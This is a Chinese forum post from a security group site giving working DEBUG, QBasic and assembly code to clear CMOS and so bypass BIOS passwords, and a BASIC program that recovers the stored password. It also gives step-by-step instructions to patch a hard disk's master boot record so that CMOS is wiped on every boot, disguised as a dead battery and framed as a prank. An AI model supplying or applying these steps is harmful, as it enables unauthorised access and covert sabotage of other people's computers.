|
作者: wwiinngd [wwiinngd] 论坛用户 | 登录 |
qbease out &h70,&h2f d=inp(&h71)+1 out &h71,2 end debug -70 10 -71 01 -q 运行屏幕编辑命令: COPY CON CMOS.COM(当然你也可以用象edit这样的编辑器来写,不过DEBUG没有怎么能保证你有EDIT呢?),然后按住Alt键,在小键盘上输入:179(松开键,再按下,继续输入),55(重复步骤),136,216,230,112,176,32,230,113,254,195,128,251,64,117,241,195,最后按+(回车)存盘,这样也生成了一个20个字节的CMOS.COM文件,然 新启动,此时CMOS中所有内容已被清除,您可以自由的修改里面的东西,当然也包括密码! 或 176,17,230,p,176,20,230,q,205,空格, bios解密 10 SCREEN 0 20 COLOR 10,5 30 DIM A(9) 40 CLS 50 PRINT SPACE$(980);TAB(22);"THE PASSWORD FOR ZHE BIOS IS:"; 60 OUT&H70,28 70 P=INP(&H71) 80 OUT&H70,29 90 Q=INP(&H71) 100 X=16^2*Q+P 110 COLOR 30,5 120 I=0:J=0:N=0 130 Y=X+I*65535 140 Z=INT(3*Y/(4^(N+1)-1)) 150 IF Z<=126 THEN 190 160 N=N+1 170 IF N<8 THEN 140 180 I=I+1:J=0:N=0:X=16^2*Q+P:GOTO 130 190 IF Z<32 THEN 180 200 A(J)=Z:J=J+1:A=Y-Z*4^N 210 IF A=0 THEN 230 220 N=N-1:Y=A:GOTO 140 230 FOR K=0 TO J 240 PRINT CHR$(A(K)); 250 NEXT 260 COLOR 10,5 270 END 清除密码自然要在不知不觉之中,我曾经把清除密码的程序写在引导纪录里,然后每次开机都会清除密码,而看上去却像是CMOS电池没有电了,嘿嘿,这一招只可以用来开玩笑,不可害人。具体方法如下: C:/>debug -A 100 mov ax,0201 mov bx,0200 mov cx,0001 mov dx,0301 int 13 int 3 -G=100 然后用U命令查看200地址的代码,一般为跳转指令,3个字节,也有可能是其它的指令,不论是什么指令,把它记下来,如果指令少于3个字节,把下一条指令也记下来,然后修改200地址的第一条指令为JMP XXX,XXX为一个地址,这个地址在主引导纪录以后找,它是主引导纪录以后的一个空闲区域的开始地址,而这里就是你的程序的存储区。假设我们纪录的两条语句是xor ax, ax和jmp 246,空白区域的开始地址为380,下面来开始写我们的清除密码程序: -A 200 jmp 380 -A 380 mov al, 10 out 70, al out 71, al xor ax, ax jmp 246 最后我们把修改后的引导纪录写回到硬盘中去: -A mov ax, 0301 mov bx, 0200 mov cx, 0001 mov dx, 0080 int 13 int 3 -G=100 -Q 好了,从下次这台机器启动以后,以后每次CMOS的参数都会丢失,密码也就没有了,哈哈,是不是很坏啊! 如果有人要你帮他修,嘿嘿,一条语句就修好了。fdisk /mbr 切忌,勿害人!! |
地主 发表时间: 04/05 19:38 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号